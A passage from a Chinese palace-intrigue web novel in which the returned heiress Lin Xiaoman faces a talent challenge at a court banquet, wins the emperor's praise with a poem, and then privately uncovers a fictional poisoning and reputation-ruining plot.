“这些不过是山野之人顺应天时的粗浅养生之法,平和无害,或可作为日常调理的微末补充。但太后娘娘万金之躯,一切还需谨遵太医嘱咐,臣女所言,仅供淑妃娘娘博您一笑,万万不敢称是什么方子。” 淑妃听完,脸上那抹惯有的笑意似乎凝滞了一瞬,眼底飞快地掠过一丝不易察觉的讶异,随即又恢复了那副温婉模样。 她轻轻抚掌,“林小姐果然见识不凡,这般贴近自然的养生之道,听着便觉清新雅致,心旷神怡。难怪林小姐气质如此澄净通透,原是得了高人真传。你这番心意,本宫记下了,改日定要说与太后娘娘听听,让她也换换心境。” 皇后在一旁微微颔首,看着林小满的目光多了几分真实的温和与赞赏: “难为你这孩子,自己身子不适,还这般玲珑心窍,时刻谨守本分,不忘尊卑。说得很好,太医之术与养生之道,本就该相辅相成。你能有这份静心体悟自然的心性,很是难得。快坐下吧,好生歇着,别再累着了。” 席间众人看向林小满的目光,也悄然发生了变化,少了几分审视,多了几分好奇与探究。 京城贵女圈中,对这位刚回相府不久的真千金林小满,本就充满了各种好奇与议论。 有人钦佩她心胸宽广,竟能容下那占了她身份的假千金林知鸳继续留在府中; 亦有人对她回京后在外抛头露面、甚至摆摊算卦的行径嗤之以鼻,认为有失相府体统。 无论何种看法,林小满都无疑是近期京城贵女圈中最引人谈论的存在之一。 此刻见她不仅应对得体,更隐隐压了淑妃一头,得了皇后青眼,席间顿时响起一阵极轻微的窃窃私语,目光中的探究之意更浓。 恰在此时,淑妃笑着转向皇后,声音柔润地打破了这微妙的氛围: “皇后姐姐,说了这许久的话,又品了汤饮,想必各位妹妹们也略有些乏了。臣妾想着,不若让乐师司奏些清音,或是召一队舞姬来,让姐妹们赏玩片刻,松快松快心神?不知皇后姐姐意下如何?” 皇后闻言,含笑点头:“淑妃妹妹总是想得周到,自然是极好的。只是……莫非妹妹今日还特意准备了新的舞乐节目?倒叫本宫有些期待了。” 淑妃掩唇轻笑:“皇后姐姐说笑了,咱们宫里现成的乐师舞姬都是顶尖的,何须臣妾特意准备?不过是想着他们离得近,传唤也方便,正好让姐妹们赏鉴赏鉴。” 她说着,目光流转,似有意似无意地补充道, “说起来,宫里的这些歌舞编排,翻来覆去也就是那些花样,本宫瞧着也确实有些腻了,也不知今日能否有些新意。” 方令仪见状,唇角微不可察地一勾,朝着身旁一位身着柳绿色绣缠枝莲纹襦裙的小姐递了个眼色。 那小姐立刻会意,盈盈站起身,先行了一个标准的福礼,“皇后娘娘,淑妃娘娘,德妃娘娘金安。” 皇后目光温和地看向她,笑了笑:“今日有这么多年轻活泼的姐妹们在,想寻些乐子自然不是难事。本宫瞧着你也有些面善,若是没记错,你是礼部侍郎家的梦薇吧?前两年听说你随你祖母回乡礼佛去了,倒是许久未见,如今出落得越发亭亭玉立了。” 那名叫梦薇的小姐闻言,脸上适时地露出受宠若惊的神情,再次屈膝: “劳烦皇后娘娘还记得臣女,臣女不胜惶恐。正是家祖母信佛,前些年带臣女去了南边的庵堂住了些时日,为家族祈福。” 淑妃适时地含笑开口,将话题引回:“方才听你说有个主意?不知是什么好主意,说出来也让本宫和皇后娘娘,以及各位姐妹都听听?” 梦薇这才抬起头,脸上带着恰到好处的兴奋与恭谨,声音扬高了些,确保周围的人都能听见: “回淑妃娘娘,臣女是想着,今日天朗气清,惠风和畅,又蒙淑妃娘娘恩典,邀我等入宫赏此奇花盛宴,连皇后娘娘和德妃娘娘都驾临与我们同乐,实乃臣女等的福分。” 她顿了顿,环视一周,继续说道:“如此良辰美景,若只观舞听乐,虽好却未免有些寻常。臣女冒昧提议,不若就让在座的各位姐姐妹妹们,借此机会,略展才艺,既是助兴,也可相互切磋一二。 不拘是赋诗、作画,或是抚琴、弈棋,皆可。至于题目……今日既是淑妃娘娘主办的赏花宴,便以这园中‘百花’或‘夏意’为题,最为应景,不知皇后娘娘、淑妃娘娘以为如何? 淑妃笑着说道,“梦薇妹妹所言极是,皇后娘娘觉得呢?既能够让各位妹妹玩得开心,参与其中,也能够让咱们瞧瞧如今京中闺秀们的才情风华,岂不是比只看伶人表演更有意趣?没准儿啊,还能发现几个平日里藏而不露的才女呢。” 她这话音刚落,席间便响起一阵低低的、压抑着兴奋的附和声。 许多贵女下意识地挺直了背脊,理了理鬓发和衣襟,眼中闪烁着期待的光芒。 谁不知道,这样的机会千载难逢,若是表现得出彩,不仅能博得皇后、妃嫔的青睐,更重要的是——万一,万一恰巧圣驾经过,那清越的琴音或是精妙的诗句能飘入龙耳,入了皇上的眼…… 那便是真正的一步登天,青云直上,从此命运截然不同了。 这份潜藏在平静表面下的渴望,几乎让空气都微微发热。 皇后将众人的神色收入眼底,唇角含着端庄温和的笑意,轻轻颔首: “既然淑妃妹妹和梦薇都这么说,本宫也觉得这主意甚好。那便依此例吧。也不必过于拘束,有意者便可自荐,或赋诗,或作画,或抚琴,皆可。题目嘛,就以这‘百花竞艳’或‘夏日清和’为题,诸位随心而作便是。” 第127章 梦嫔怎么来了? 皇后此话一出,园中的气氛瞬间变得更加活跃而紧张。 很快,一位身着鹅黄色纱裙的贵女率先起身,盈盈一拜:“臣女不才,愿抛砖引玉,为娘娘们抚琴一曲《荷风送爽》。” 宫人们迅速抬上琴案与瑶琴。 那贵女屏息凝神,指尖拨动,清越空灵的琴音便流淌出来,的确技艺不俗,曲意也贴合夏景,引来阵阵低低的赞赏。 琴音方落,梦薇突然说道,“说起来,林大小姐方才提及曾随隐世高人清修,想必于这风雅之事上,亦有不同于我等凡俗女子的独特见解吧?不知今日,可否让我等也开开眼界?” 她这话,瞬间将刚刚稍歇的注意力,再次精准地引到了林小满身上。 无数道目光齐刷刷地投射过来,带着探究、好奇,或许还有几分等着看戏的意味。 林知鸳放在膝上的手微微收紧,眼中闪过一丝担忧,这京城谁不知小满从未学过琴棋书画,如今让她来,分明就是想让她当众出丑。 主位上,淑妃娘娘的笑容愈发深邃,她看着林小满,语气温和依旧, “梦薇这话倒是提醒了本宫。林小姐,高人子弟,必有不凡之处。今日这以艺会友的雅事,你若不展示一二,倒真是可惜了。不知林小姐,擅长些什么?” 林小满刚要开口,身旁的林知鸳却抢先一步站起身来,朝着主位方向深深一福,声音温婉而急切: “回皇后娘娘、淑妃娘娘、德妃娘娘,臣女林知鸳冒昧禀告。小妹小满她……她自幼不在京中,于琴棋书画这些闺阁技艺上,实在……实在未曾精心研习过。” “并非小妹不愿为娘娘们助兴,实在是怕技艺粗陋,反而唐突了圣听,扰了各位娘娘和姐妹们的雅兴。恳请娘娘们体恤,允她安心观赏便是。” 她这话说得又快又急,甚至不惜点明林小满的“不足”,只求能帮她推脱过去。 她话音刚落,方令仪便轻笑一声,优雅地站起身。 她理了理衣袖,目光扫过林知鸳,最后落在林小满身上,语气带着几分故作讶异和不容置疑的坚持: “知鸳妹妹这话可就太谦了,或者说……是太小看你这位刚回府的妹妹了。” 她转向主位,笑意盈盈,“皇后娘娘,淑妃娘娘,方才林大小姐言谈间提及山野清修、体悟自然,那般灵秀通透的心性,岂是寻常拘泥于刻板技艺之人能有的?高人所授,必是直指本心、融于天地的雅趣,而非我等凡俗所学的雕虫小技。” 她微微侧头,看向林小满,眼神里带着一丝挑衅和看好戏的意味: “更何况,今日只是姐妹间助兴切磋,并非科举大考,重在参与和心意罢了。林大小姐方才一番养生之道已然令我们惊叹,想必无论是抚琴以摹山水清音,或是咏诗以赞百花神韵,哪怕只是随意点评一二,也定有我等未曾领略过的意境。若一味推辞,反倒显得……有些不近人情,或是瞧不上我们这小小的游戏了?” 方令仪将“不擅技艺”扭转为“不屑于寻常技艺”,并抬出了“心意”和“人情”的大帽子,直接将林小满架得更高,几乎断了她的退路。 梦薇,“方郡主说得是。林相府上的千金,难道连一点助兴的小玩意儿都拿不出手?我倒是好奇得很,那位高人究竟教了些什么与众不同的东西。淑妃娘娘都开了金口,再推三阻四,可就真失了礼数了。” 方令仪脸上的笑容不变,声音依旧柔和,“林小姐,你看,大家可都期待着你的‘不同’呢。不过是游戏罢了,无需有负担。琴、棋、书、画、诗、酒、花、茶,总有略通一二的吧?即便只是静坐观想,道一声‘此中有真意,欲辨已忘言’,也算是一种超然的境界不是?” 就在这剑拔弩张、所有人的目光都紧盯着林小满,等着她如何应对这近乎刁难的局面时,不远处却传来一道慵懒又带着几分娇媚的声音,打破了现场的紧绷: “哟,各位姐姐妹妹们真是好雅兴啊!这般热闹的赏花盛宴,又有如此多的才艺可赏,怎的,就独独忘了给嫔妾送一张帖子呢? 若不是在宫里远远听见这边丝竹悦耳、笑语嫣然,勾得人心痒,嫔妾倒还什么都不知道呢,可真真是叫人伤心。” 这声音自带一股独特的韵味,瞬间将所有人的注意力都吸引了过去。 众人循声望去,只见不远处的花径尽头,一位身着水碧色缕金撒花软烟罗裙的女子正袅袅娜娜地走来。 她云鬓斜簪着一支点翠嵌珍珠岁寒三友头花,步摇轻晃,容貌是极清冷的,眉宇间带着几分疏离,仿佛不食人间烟火,可偏偏眼波流转间又天然一段风流媚态。 她行走的姿态更是格外好看,腰肢柔软,带着一股傲气,流水般拂过地面竟有几分传说中“步步生莲”的风致。 林知鸳见状,立刻微微侧身,凑近林小满,用气声急速低语道: “小满,这位就是我之前与你提过的梦嫔娘娘。” 林小满目光也随之投向那位渐行渐近的嫔妃。 只见她虽在笑,但那笑意并未真正抵达眼底,一双美目淡淡扫过全场。 梦嫔径直走到主位前,方才停下脚步,随意地屈了屈膝,“给皇后娘娘请安,给淑妃娘娘、德妃娘娘请安。嫔妾不请自来,娘娘们不会怪罪吧?” 皇后脸上依旧是端庄得体的微笑:“梦嫔妹妹说的哪里话,本就是姐妹间随意聚聚,何来怪罪。想必淑妃见着你素日喜静,怕这般热闹扰了你清修,才未特意去请。既然来了,快赐座。” 立刻有宫人机灵地在靠近主位的位置添设了绣墩。 淑妃也笑着接口,只是那笑容里多了几分不易察觉的烦闷: “可不是么,正说到兴头上。梦嫔妹妹来得正好,方才正巧轮到林相府上新回京的千金要展示才艺呢,妹妹素来雅致,正好一同品鉴品鉴。” 第128章 不喜欢与不喜之人相处 梦嫔闻言,眼波微转,那双清冷又妩媚的眸子便落在了依旧站着的林小满身上,将她上下打量了一番,唇角勾起一抹似笑非笑的弧度。 “哦?就是这位妹妹?倒是生得一副好模样,我见犹怜。不知……准备展示何等高超的技艺?” 她一边说着,目光一边毫不避讳地直视着林小满,两人的视线在空中轻轻碰撞。 林小满微微屈膝,“回梦嫔娘娘,臣女惶恐。臣女自幼长于外地,体弱多病,精力不济,确实……从未有幸系统习练过琴棋书画等风雅技艺。 于各位娘娘和各位姐妹精妙绝伦的才艺面前,唯有衷心赞叹与钦佩的份,实在拿不出什么可供品鉴之物,恐怕要令梦嫔娘娘和各位期待已久的姐妹失望了。” 她这话说得直接而坦诚,没有丝毫扭捏或试图遮掩,反而让一些原本等着看笑话的人一时有些不知如何继续发难。 就在气氛微凝之际,坐在末席的一位身着浅藕荷色衣裙、气质温婉柔顺的陆宁宁怯生生地站了起来。 她先是飞快地瞟了一眼方令仪的方向,似乎鼓足了勇气,才向着主位行礼,声音细弱却清晰: “皇后娘娘……”她似乎有些紧张,手指微微绞着帕子,但还是继续说了下去: “臣女……臣女以为,林小姐方才所言,确是实情。她自小便未在京城长大,想必……想必于我等自幼研习的诗词歌舞、琴棋书画上,确有不熟之处。强人所难,反倒失了今日赏花宴的雅趣……” 她话未说完,方令仪冰冷含警告的眼神便如利箭般扫射过来。 陆宁宁触及那目光,身子几不可察地轻颤了一下,脸色微微发白,显然心中惧怕,但竟强撑着没有立刻住口,而是加快了语速,将自己想说的话说完: “既……既然林小姐不便展示,臣女不才,愿献丑一曲琵琶,为娘娘和各位姐妹助兴,不知……可否?” 她最后几个字几乎带上了恳求的意味,说完便立刻低下头,不敢再看方令仪的方向。 园中瞬间安静下来,方令仪脸上的笑容依旧挂着,眼神却彻底冷了下来,盯着陆宁宁。 方令仪见陆宁宁竟敢忤逆自己,心中怒火更炽,她唇角勾起一抹冷嘲, “呦,我当是谁呢,这不是陆小姐吗?几日不见,倒是学会替人分说了。林小姐乃是相府千金,金尊玉贵,即便初回京中,些许谦逊之词也不过是自矜身份罢了,哪里就真的需要旁人来越俎代庖,替她推拒了?你这般急切,不知情的,还以为你与林小姐有多深的交情呢。” 方令仪心中冷哼,这陆宁宁从前不过是跟在她身后摇尾乞怜的一条狗,如今竟敢不声不响地疏远自己,连传信让她办点小事都推三阻四。 这样的墙头草,既然不能为自己所用,还留着碍眼做什么?正好一并敲打了。 她话音刚落,刚落座不久的梦嫔却突然用绣着缠枝莲纹的绢帕掩口,发出一声极轻的嗤笑。 那笑声不大,却清晰地钻入每个人耳中,带着毫不掩饰的讥诮。 “啧,”梦嫔眼波懒懒一扫,最终落在方令仪身上, “本宫虽极少出来走动,与方郡主也只有过几面之缘,怎的以前竟没发现,郡主竟是这般喜欢……强人所难的呢?” 她顿了顿,欣赏着方令仪瞬间僵住的脸色,才慢悠悠地继续道, “人家林小姐自个儿都再三言明,身子不适,且从未学过那些。言辞恳切,坦荡得很。怎么到了郡主嘴里,就变成了‘自矜身份’? 莫非郡主是铁了心,非要逼着一位病弱的姑娘家,在这大庭广众之下出点丑,闹点笑话,才觉得有趣,才算全了今日这‘雅趣’不成?本宫倒是好奇,这是什么道理?” 说完,她还用那绢帕轻轻按了按唇角。 方令仪何曾受过这等当面抢白,尤其还是来自一个她平素瞧不上的、以色侍人的嫔妃,当下气得脸色涨红,张口便要反驳:“梦嫔娘娘!您……” “令仪。”淑妃适时地开口,她轻轻挥了挥手,示意方令仪坐下。 方令仪虽心有不甘,但在淑妃的目光下,也只能强压怒火,悻悻然落座,一双美目却死死剜了梦嫔一眼。 淑妃这才转向梦嫔,脸上挂着无可挑剔的完美笑容,只是那笑意并未深入眼底: “梦嫔妹妹今日倒是好兴致,平日里姐妹们设宴,十回里也难得见妹妹出来一回,今日竟是闻着花香就来了。 更难得的是,妹妹平日里从不见与谁格外亲近,今日竟肯为林小姐开口说话,这般回护,倒真是让本宫……有些意外了。” 梦嫔闻言,用绢帕轻轻拭了拭嘴角: “淑妃娘娘这话问得可真是……这有什么好奇怪的呢?人与人之间,讲的不就是个眼缘和气性相投么?不喜欢与不喜之人相处,这不是人之常情,最正常不过的事了么?” 她说着,目光似有若无地扫过淑妃,又轻飘飘地移开。 淑妃被她这含沙射影的话气得一窒,脸上的笑容几乎挂不住,声音也拔高了些许,带上了厉色: “你!你这是什么意思!难道你是想说,本宫,还有在座的皇后姐姐、德妃妹妹以及这么多姐妹们,都入不了你的眼,都不配与你相处吗?!” 梦嫔却丝毫不惧,反而轻笑出声, “娘娘可别给嫔妾扣这么大的帽子。嫔妾何时说过那样的话?嫔妾向来对皇后娘娘凤仪、德妃姐姐爽利是真心敬重的。只是嘛……” 她拖长了语调,眼神再次意有所指地瞟向淑妃, “只是有些人,终日戴着副面具,说话做事总喜欢绕上七八个弯,表面一套背后一套,算计来算计去的,自然是容易……惹人厌烦些。嫔妾性子直,学不来那套,自然就敬而远之了。” “梦嫔!”淑妃猛地一拍案几,茶盏叮当作响她霍然起身,指着梦嫔,气得浑身发颤, “你不过一个嫔位!竟敢如此口出狂言,以下犯上,对本宫不敬!谁给你的胆子!” 第129章 作诗 眼看冲突升级,火药味弥漫整个花园,一直端坐主位、静观其变的皇后终于沉下了脸。 “够了!” 她目光扫过淑妃和梦嫔,语气中带着明显的不悦: “大庭广众之下,当着这么多京中贵女的面,争执不休,言语失度,成何体统!今日是赏花宴,不是让你们来辩是非、争长短的公堂!一个个妃嫔的仪态风范都忘到脑后去了吗?” 皇后一开口,淑妃即便再恼怒,也只能强忍着低下头: “臣妾失态,请皇后娘娘恕罪。” 梦嫔也稍稍收敛了些,懒洋洋地屈了屈膝:“嫔妾一时口快,请皇后娘娘责罚。” 虽如此皇后看着她们二人,深吸一口气,语气放缓了些,却依旧带着告诫的意味: “今日召诸位小姐入宫,是为赏花取乐,彰显皇家与臣子同乐之和睦,不是来看你们闹笑话的。都给本宫安生些!若再有无端争执,休怪本宫不留情面。” 林小满福了福身子,脸色苍白, “皇后娘娘息怒,各位娘娘息怒。皆是因臣女之事,引得娘娘们烦心,臣女万死难辞其咎。” “臣女虽于丝竹乐器、丹青笔墨上愚钝不堪,实难登大雅之堂。但蒙娘娘们不弃,今日得赏此园中百花盛景,感受夏日和风,心中亦有所感。” “若娘娘不怪臣女鄙陋,臣女……愿斗胆,愿以眼前这‘夏景繁花’为题,试作一首浅薄小诗,聊表臣女对娘娘们举办此宴的感激之心,以及未能展示才艺的歉疚之意,不知……可否?” 皇后见林小满主动递了台阶,神色稍霁,便顺着她的话,温和颔首: “难为林小姐有这份心。作诗本是雅事,抒怀即可,不必过于拘束。你既有感而发,便也念来听听吧。” 得了皇后首肯,林小满微微垂眸,似在凝神思索。 园中众人皆屏息以待,想看看这位被传得神乎其神的“高人弟子”究竟能作出何等诗句。 片刻后,林小满抬起眼,目光清亮,缓缓吟道: “夏日御园百花深,姚黄魏紫各争春。 幸得东君惜颜色,不教风雨妒芳辰。” 诗句虽浅白,却也意境清雅。 前两句描绘了御花园中百花盛开、争奇斗艳的景象,“姚黄魏紫”更点出了牡丹之王的富贵气象。 后两句笔锋一转,以拟人手法,庆幸有“东君”怜惜爱护,才使得繁花免遭风雨摧残,得以尽情绽放这美好时光。 既应了赏花宴的景,又巧妙地将皇后和妃嫔们捧在了呵护百花、恩泽遍施的位置上。 诗作虽算不上惊才绝艳,但出自一个自称“从未习练”的抱病少女之口,已是难得。 更难得的是这份急智和诗中蕴含的恭维与感激,恰到好处,丝毫不显谄媚。 林小满再次屈膝:“臣女拙作,贻笑大方了。” 园中静了一瞬,随即响起几声低低的赞叹,连德妃都挑了挑眉,似乎有些意外。 皇后脸上终于露出了较为真心的笑容,点了点头: “起来吧。诗句虽浅,心意却真,难得是应景。看来你师父教导你体悟自然,并非虚言。快坐下歇着吧。” 德妃也笑着附和:“是啊,这‘东君惜颜色’一句,甚是巧妙。林小姐过谦了。” “好,很好。”正当园中众人因林小满的诗作而各怀心思、低语赞叹之时,一道男声自身后不远处响起, 这声音并不算洪亮,却瞬间让整个御花园鸦雀无声。 所有闻声之人,无论是妃嫔、郡主还是贵女,无一例外地脸色骤变,慌忙从座位上起身,带着显而易见的紧张与惶恐。 众人齐刷刷地转身,面向声音来源的方向,深深俯下身去,衣裙窸窣作响间, “参见皇上,皇上万岁万岁万万岁!” 皇帝正负手立于花径之上,目光正落在方才吟诗的林小满身上,唇角还噙着一丝未散的笑意。 皇后也已带着淑妃、德妃疾步从主位上前,迎至皇帝面前,敛衽行礼:“臣妾参见皇上。” 皇帝上前一步,亲手虚扶起皇后,语气温和:“都平身吧。朕与昭帝见这边甚是热闹,便过来瞧瞧。不必多礼,都自在些。” “谢皇上。”皇后就着皇帝的手起身。 淑妃和德妃也跟着起身,齐声道:“谢皇上恩典。” 只是淑妃低垂其余贵女们这才敢稍稍直起身,却依旧低眉顺眼,大气不敢出,细声细气地附和:“多谢皇上。” 裴昭上前一步,对着皇后及妃嫔拱手行礼,“臣裴昭,参见皇后娘娘,淑妃娘娘,德妃娘娘。” 皇后见到他,脸上笑容更真切了几分,语气也熟稔许多: “王爷也来了。今日倒是巧,淑妃妹妹这赏花宴,竟把皇上和王爷都吸引来了。” 皇后对着身旁的宫女使了个眼色,宫女们立刻会意,动作麻利地在主位旁又增设了两张紫檀木雕花椅。 皇帝朗声一笑,信步走到正中的主位坐下。 其余众人见皇帝坐下,这才敢小心翼翼地重新入座,只是比之前更加拘谨,个个屏息凝神。 恰巧,裴昭的位置被安排在了林小满这一侧,与她的座位中间只隔着一个秦婉。 秦婉见状,眼睛一亮,笑嘻嘻地侧过身,对着裴昭小声又亲昵地唤了一声:“昭哥哥!你怎么也来了?” 裴昭闻声,冷峻的眉眼似乎柔和了一瞬,对着秦婉微微颔首,露出一个极淡的笑意。 目光随即自然地越过秦婉,落在了她身旁的林小满身上,也对着她礼貌地点了点头。 林小满猝不及防对上他的视线,随即垂下眼睫,也跟着笑了笑。 对面另一侧的方令仪将这一切尽收眼底,她看着裴昭对秦婉和林小满展露的笑意,再对比他平日对自己的冷淡,心中嫉恨交加。 手中的绣帕几乎要被纤长的指甲掐破,面上却还要勉强维持着得体的微笑。 皇帝显然心情颇佳,目光扫过在场众人,最后定格在林小满的方向,含笑问道, 第130章 吃人不吐骨头的地方 “方才朕在远处,听得有一把清亮声音吟了一首诗,‘夏日御园百花深……幸得东君惜颜色’,意境甚好,应景又巧妙。不知这诗,是出自哪位小姐之手?” 林小满闻言,立刻起身,走出座位,来到御前再次深深一福,声音清晰却依旧带着几分虚弱: “回皇上,是臣女所作。臣女林小满,才疏学浅,拙作不堪入耳,有辱圣听,请皇上恕罪。” 皇帝看着她,眼中掠过一丝讶异和欣赏,随即抚掌大笑起来: “哈哈哈……好,很好!起身回话。” 等到林小满谢恩站直身子,皇帝才继续笑道,语气中满是赞许: “朕说这诗好,并非虚言。前两句写景,‘姚黄魏紫’点出牡丹国色,盛况立现。后两句抒情,‘东君惜颜色’、‘不教风雨妒’,既赞了这护花惜花之人,寓意皇家恩泽庇佑,使得百花得以尽情绽放,又暗合了今日这赏花宴的其乐融融。诗虽简白,却心思灵巧,寓意上佳,甚是难得!” 他顿了顿,目光温和地打量着林小满, “林小满……小满,嗯,小得盈满,倒是个好名字,生机盎然。朕似乎还从未见过你,莫非……你就是林相爱卿那位刚接回京不久的女儿?” 林小满微微垂首,恭敬应答:“回皇上,正是臣女。” 皇帝闻言,脸上的笑意更深了几分,目光中带着毫不掩饰的赞赏,朗声道: “好!不愧是林相的女儿,虽未曾受京中繁文缛节浸染,却自有一番灵秀通透的气度,更难得的是这份急智与玲珑心思。林相爱卿真是好福气,寻回如此一颗明珠。” 席间众人闻言,神色各异,那些原本带着轻视或看好戏心态的贵女,此刻纷纷收敛了神色,看向林小满的目光变得复杂起来,多了几分审视与忌惮。 能得到皇上如此当众夸赞,这份殊荣可不是谁都有的。 淑妃脸上的笑容依旧完美,只是端着茶盏的手指微微收紧了些。方令仪更是气得暗自咬牙,却又不敢表露分毫。 皇帝似乎兴致很高,又转向皇后和淑妃,笑道: “今日这赏花宴办得不错,既赏了奇花,又品了佳句,朕心甚悦。皇后和淑妃有心了。” 皇后连忙含笑回应:“能让皇上开怀,是臣妾等的福分。” 淑妃也立刻接口,声音愈发柔婉:“皇上过奖了,不过是姐妹们聚在一起寻个乐子,能得皇上驾临,才是蓬荜生辉呢。” 皇帝点了点头,目光再次扫过在场那些因他的到来而愈发紧张拘束的贵女们,语气温和了些: “都放松些,不必如此拘礼。方才朕来时,似乎正说到才艺展示?不必因朕来了就中断,继续便是。也让朕瞧瞧,如今京中的闺秀们,都是何等才情风貌。” 有了皇上这话,底下那些原本因圣驾降临而紧张万分的贵女们,瞬间如同被注入了强心剂,一个个眼神都亮了起来,之前的拘谨忐忑被跃跃欲试所取代。 谁不知道,距离下一次大选还有些年头,寻常闺秀想面圣难如登天。 今日这天赐良机,若能在这御前展示中拔得头筹,哪怕只是得皇上几句夸赞,于日后婚嫁也是极大的助益。 若是运气再好些,才华品貌一举入了皇上的眼,破例纳入宫中,那才是一步登天,享不尽的荣华富贵与无上尊荣! 顷刻间,园中的气氛再度热烈起来,却与之前的暗流涌动不同,此番是明晃晃的争奇斗艳,每一位贵女都打起十二分精神,准备将毕生所学尽情施展。 很快,便有胆大活泼的小姐起身,或抚琴,或起舞,或提笔作画,丝竹声、吟诵声再次响起,只是比之前更多了几分卖力与精心,个个都使出了浑身解数,力求在皇帝面前留下最完美的印象。 林小满安静地坐在自己的位置上,看着眼前这愈发喧嚣的场景,只觉得胸口越发闷得慌,额角也隐隐作痛。 她微微偏过头,用气声对身后侍立的小花低语道: “小花,我有些不适,陪我去净手,暂且透透气。” 小花立刻躬身应下,小心翼翼地搀扶起林小满。 主仆二人趁着一位小姐正在作画,众人目光都被吸引过去的间隙,悄无声息地从席间退了出来,沿着边缘的花径缓缓向外走去。 小花小心翼翼地搀扶着林小满,主仆二人避开热闹的主园,沿着僻静的花径走了片刻,来到一处距离御花园不远、略显清冷的小亭子歇脚。 一进亭子,林小满便虚脱般地靠在栏杆上,微喘息额间已渗出细密的冷汗,“装的真累啊。” 小花在一旁拿出帕子替她擦拭,圆圆的小脸上满是心疼和后怕,她压低了声音,忍不住叹了口气: “小满,这皇宫里头……看着是金碧辉煌,花团锦簇,好看得跟仙境似的。可、可这地方……怎么让人觉得心里头发毛呢?” 她说着,下意识地抬头望向皇宫深处的方向, “尤其是那些……那些东西,大白天的,怨气都重得化不开,盘在头顶上,乌压压的一片,看着就喘不过气来。” 林小满顺着她的目光也抬头望去,宫墙巍峨,即使现在是白日,可是狂风的上方却盘踞着一团团的黑气,轻轻握住小花的手, “傻小花,这皇宫……本就是天下间最极致的名利场,也是最血腥的斗兽场。自古至今,这里吞噬了多少红颜枯骨,埋葬了多少野心痴念?” “一砖一瓦,只怕都浸着血和泪。光鲜亮丽之下,自然是冤魂集聚,怨气深重。在这里,一步行差踏错,便是万劫不复。今日你所见的唇枪舌剑、笑里藏刀,不过是这‘吃人不吐骨头’之地最寻常不过的景象罢了。” 小花撇了撇嘴,脸上满是不解与愤慨:“真搞不懂,明明是个这么可怕的地方,为什么还有那么多女子拼了命地想往里钻,真是……不知死活。” 第131章 我本就不是这个世界的人 林小满没有接这话,只是目光沉静地看向小花,问道:“你这鼻子向来比常人灵敏百倍,方才在席间,可还嗅到或是感应到什么其他不对之处?” 小花闻言,慵懒地伸了个懒腰,随即皱起了小巧的鼻子,语气变得肯定: “有啊,怎么没有!小满,你刚才喝的那碗‘宁神汤’里就掺了东西,味道极淡,带着一股阴冷的腥气,绝非什么好物。还有……” 她指了指御花园的方向,压低声音,“你坐的那张椅子,扶手和靠背处也被人动了手脚,沾染上了一种很奇怪的甜腻香气,闻着就让人头晕眼花,心里发慌,跟那汤里的味道隐隐呼应。我仔细留意了,其他人的座位都没有,就独独你那一张有!” 林小满眼中寒光一闪,“果然如此。那碗里的毒,与我的咒术相辅相成。咒术为引,今日再遇上这碗‘加料’的汤,两相催化……若我毫无察觉,只怕今夜便会‘病重不治’,悄无声息地死在这京城之中,任谁查也最多是个体弱暴毙,真是好算计。” 她顿了顿,声音更冷了几分:“至于椅子上的……如果我没猜错,那甜腻之物应是极为阴损的‘情丝缠’,药性极烈,通过肌肤接触便能渗入体内,令人神智昏聩,情欲迷乱。我离得最近,坐得最久,吸入的自然最多。方令仪……她不仅想要我的命,还想在我死之前,彻底毁了我的清白名声,让我身败名裂,死无葬身之地!” 小花听得瞪大了眼睛,气得脸颊鼓鼓的,“她、她怎么这么恶毒!黑心烂肝的玩意儿!还郡主呢,我呸!” 林小满看着远处巍峨的宫殿,语气带着一丝的嘲讽: “在这吃人的地方,身份尊贵与否,与手段是否歹毒并无关系。你想想,在这里,对一个女子而言,什么最重要?不是才情,不是家世,甚至不是性命,而是清白名声。” “一旦名声毁了,那便是真正的万劫不复,连家族都会蒙羞弃之。方令仪她们恐怕……还为我安排了‘后续’,只待我药性发作,失态癫狂之时,便会有人‘恰好’出现。只是不知,她们为我准备的,是哪个倒霉的侍卫,还是……更不堪的太监呢?” 小花震惊地张大了嘴巴,好半天才找回自己的声音: “天、天哪……这、这心思怎么能歹毒到这种地步?这真的是人能做出来的事吗?我简直不敢置信!” 她猛地打了个寒颤,声音里带上了哭腔,“难怪以前孟婆婆总是念叨,说人心叵测,比最凶的恶鬼还要可怕千百倍!这人间……这人间怎么是这样的啊?” 林小满目光幽深地望向亭外重重宫阙,语气凉薄: “小花,你说的没错。这人间啊,尤其是这朱墙之内,从来就不是什么温良敦厚之地。这里的光鲜亮丽之下,埋藏着最多的肮脏与算计。权势、利益、嫉妒……足以让最纯洁的心灵扭曲,让最柔弱的手沾染鲜血。在这里,活着,本身就是在刀尖上跳舞。” 就在这时,不远处忽然传来一声极轻微的环佩叮咚声,吓得小花浑身一个激灵,差点跳起来,猛地扭头朝声音来源处望去。 只见亭外花影扶疏处,不知何时竟悄无声息地立着梦嫔,云鬓酥挽,衣饰清雅,正静静地看着她们,也不知听了多久。 林小满心中也是一凛,立刻隐晦地瞪了小花一眼,暗中以灵力传音道:“有人近身都未察觉?你这警觉性被狗吃了?” 小花委屈地扁扁嘴,同样以传音回嘴,带着点后怕的嘟囔:“你还说我呢……你不是也没发现吗?” 主仆二人眼神交流只在电光火石间。 林小满迅速敛去所有异色,面上恢复了几分虚弱与惊惶,就着小花的搀扶站起身,向前一步,对着那美人深深一福,姿态放得极低, “臣女林小满,参见娘娘。不知娘娘驾临,臣女与婢女失仪闲话,惊扰了娘娘,还请娘娘恕罪。” 梦嫔见状,噗嗤一声轻笑出来,侧头对身旁垂手侍立的贴身宫女道:“你就在这儿候着。” “是,娘娘。”那宫女低声应道,恭敬地退至亭外。 梦嫔这才扭着腰肢,步履轻盈地走进亭中,极为自然地坐在了林小满方才倚靠的栏杆旁,还拍了拍身旁的空位, “来,别拘着了,都坐。” 林小满与小花飞快地对视一眼,皆从对方眼中看到了惊疑不定。 这位梦嫔娘娘态度未免太过于亲昵,一时之间,她们完全摸不清对方葫芦里卖的到底是什么药。 见两人迟疑,梦嫔掩口又笑了起来,眼波流转间带着几分狡黠: “让你们坐就坐嘛,我又不会吃了你们。” 她顿了顿,语气忽然变得意味深长,“不过,你们也不用太惊讶我能找到这儿,或是听见你们方才的‘悄悄话’……毕竟,” 她伸出纤纤玉指,轻轻点了点自己的太阳穴,压低了声音, “你们刚刚在心里嘀咕的那些,我也‘听’得一清二楚哦。” 林小满皱了皱眉。 梦嫔看着她们瞬间绷紧的神色,似乎觉得更有趣了,笑得花枝乱颤: 